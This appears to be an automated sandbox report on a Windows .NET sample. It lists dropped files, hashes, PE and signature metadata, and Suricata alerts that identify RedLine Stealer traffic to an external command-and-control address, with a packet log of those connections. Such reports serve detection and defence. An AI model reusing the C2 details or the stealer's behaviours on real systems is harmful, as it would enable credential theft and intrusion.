Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF22D.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF22E.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF23E.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF23F.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF250.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF261.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF271.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpF282.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFF2B.tmp

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\VcihjWRO.exe

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	663048
Entropy (8bit):	7.712804788167852
Encrypted:	false
SSDEEP:	12288:Q+KncNPCdkjtqD56vpunMKgabsvmyArpBAz9TjcQ1AQw9xkR:0mPCdkpqF6vpjmsenVBA1jd1AT+
MD5:	68B2A6E71C0C904A9AEABFC9ADBF7A21
SHA1:	0577BCB0A9736B45F1EB92F6070AAC2134E674DC
SHA-256:	F6B09208C3523BE3A490AF2FC305D4574B38D95A435C8A55402FCA38597E6DAC
SHA-512:	077B52BF789DCA81F8155182EAE1FA8CE529586F70A2CB8CE7298917FB6F42C83DCB1CB9274E498295BDDA65D4D2D7DD41EF6EA086DFB510EF75C871FB8DAF46
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....."g..............0.............r.... ........@.. .......................@............@................................. ...O........................6... ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................T.......H........E...K......I........W...........................................0..q........(.....(.....r...p.(....(....o.....{.....(....o.....{....r...p.(....(....o.....{.....(....o.....{.....(....o........0..L.......(.........( ....o!......,"...t......o"...r-..p(#...,..o"...(....o$...(%...V(....o&...o'...o(......0..........(.........( ....o!......-.r-..p...t....o)......0..........(.........( ....o!......-.r-..p...t....o......0..........(.........( ....o!......-.r-..p...t

C:\Users\user\AppData\Roaming\VcihjWRO.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\I5pvP0CU6M.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.712804788167852
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	I5pvP0CU6M.exe
File size:	663'048 bytes
MD5:	68b2a6e71c0c904a9aeabfc9adbf7a21
SHA1:	0577bcb0a9736b45f1eb92f6070aac2134e674dc
SHA256:	f6b09208c3523be3a490af2fc305d4574b38d95a435c8a55402fca38597e6dac
SHA512:	077b52bf789dca81f8155182eae1fa8ce529586f70a2cb8ce7298917fb6f42c83dcb1cb9274e498295bdda65d4d2d7dd41ef6ea086dfb510ef75c871fb8daf46
SSDEEP:	12288:Q+KncNPCdkjtqD56vpunMKgabsvmyArpBAz9TjcQ1AQw9xkR:0mPCdkpqF6vpjmsenVBA1jd1AT+
TLSH:	B9E4CFD03B36B319CEA55935E259DDBA82F10A68B044BAF719DC3B5735CC260AE0CF46
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....."g..............0.............r.... ........@.. .......................@............@................................

File Icon


Icon Hash:	1bb3b3b3b3d389b3

Static PE Info

General

Entrypoint:	0x49e972
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6722EB14 [Thu Oct 31 02:27:32 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/11/2018 01:00:00 09/11/2021 00:59:59
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
push ebx
add byte ptr [ecx+00h], bh
jnc 00007F344905B562h
je 00007F344905B562h
add byte ptr [ebp+00h], ch
add byte ptr [ecx+00h], al
arpl word ptr [eax], ax
je 00007F344905B562h
imul eax, dword ptr [eax], 00610076h
je 00007F344905B562h
outsd
add byte ptr [edx+00h], dh
push eax
add byte ptr [edi+00h], ch
imul eax, dword ptr [eax], 006F0073h
outsb
add byte ptr [edx+00h], dl
outsd
add byte ptr [ebp+00h], dh
insb
add byte ptr [ebp+00h], ah
je 00007F344905B562h
je 00007F344905B562h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x9e920	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa0000	0x1988	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x9e800	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x9c9b8	0x9ca00	827723e3f3a266e21bd461075daf2f28	False	0.8503871957302475	data	7.711719915976035	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa0000	0x1988	0x1a00	f3f359b75bf01dd017d680590fefab17	False	0.7944711538461539	data	7.201037097140562	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xa2000	0xc	0x200	0ba14ce87197e716b8df5425ca9ea3d6	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xa0118	0x151a	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.8863383931877082
RT_GROUP_ICON	0xa1634	0x14	data	0.9
RT_GROUP_ICON	0xa1648	0x14	data	1.05
RT_VERSION	0xa165c	0x32c	data	0.45566502463054187

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-04T04:32:04.724301+0100	2849662	ETPRO MALWARE RedLine - CheckConnect Request	1	192.168.2.6	49718	45.137.22.248	55615	TCP
2024-11-04T04:32:09.774888+0100	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	1	45.137.22.248	55615	192.168.2.6	49718	TCP
2024-11-04T04:32:10.039181+0100	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	1	192.168.2.6	49718	45.137.22.248	55615	TCP
2024-11-04T04:32:12.999384+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.6	49763	TCP
2024-11-04T04:32:13.527487+0100	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	1	45.137.22.248	55615	192.168.2.6	49718	TCP
2024-11-04T04:32:13.584322+0100	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	1	192.168.2.6	49777	45.137.22.248	55615	TCP
2024-11-04T04:32:15.174201+0100	2849662	ETPRO MALWARE RedLine - CheckConnect Request	1	192.168.2.6	49784	45.137.22.248	55615	TCP
2024-11-04T04:32:20.283399+0100	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	1	45.137.22.248	55615	192.168.2.6	49784	TCP
2024-11-04T04:32:20.816931+0100	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	1	192.168.2.6	49784	45.137.22.248	55615	TCP
2024-11-04T04:32:23.737177+0100	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	1	45.137.22.248	55615	192.168.2.6	49784	TCP
2024-11-04T04:32:24.140389+0100	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	1	192.168.2.6	49837	45.137.22.248	55615	TCP
2024-11-04T04:32:50.939185+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.6	49984	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 04:32:03.768134117 CET	49718	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:03.773083925 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:03.773179054 CET	49718	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:03.811441898 CET	49718	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:03.816435099 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:04.162556887 CET	49718	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:04.167397976 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:04.621860027 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:04.724301100 CET	49718	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:09.769223928 CET	49718	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:09.769452095 CET	49718	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:09.774888039 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:09.774903059 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:10.039082050 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:10.039099932 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:10.039110899 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:10.039122105 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:10.039135933 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:10.039179087 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:10.039180994 CET	49718	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:10.039192915 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:10.039242983 CET	49718	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:10.171436071 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:10.171452999 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:10.171576023 CET	49718	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.521883965 CET	49718	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.522452116 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.527367115 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.527451038 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.527487040 CET	55615	49718	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.527569056 CET	49718	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.528331041 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.528633118 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.533236980 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.533314943 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.533442020 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.533452034 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.533488035 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.533488989 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.533499002 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.533514023 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.533525944 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.533535004 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.533560991 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.533565044 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.533576012 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.533586979 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.533620119 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.533688068 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.533730984 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.538100958 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.538157940 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.538259029 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.538305998 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.538310051 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.538316965 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.538346052 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.538366079 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.538383007 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.538393021 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.538497925 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.584186077 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.584321976 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.632211924 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.632302999 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.680249929 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.680361986 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.728189945 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.728255033 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.776259899 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.776312113 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.824287891 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.824347019 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.876219988 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.876280069 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.924189091 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.924246073 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:13.972237110 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:13.972295046 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.020226955 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.020282984 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.068479061 CET	55615	49777	45.137.22.248	192.168.2.6
Nov 4, 2024 04:32:14.068552017 CET	49777	55615	192.168.2.6	45.137.22.248
Nov 4, 2024 04:32:14.116276026 CET	55615	49777	45.137.22.248	192.168.2.6
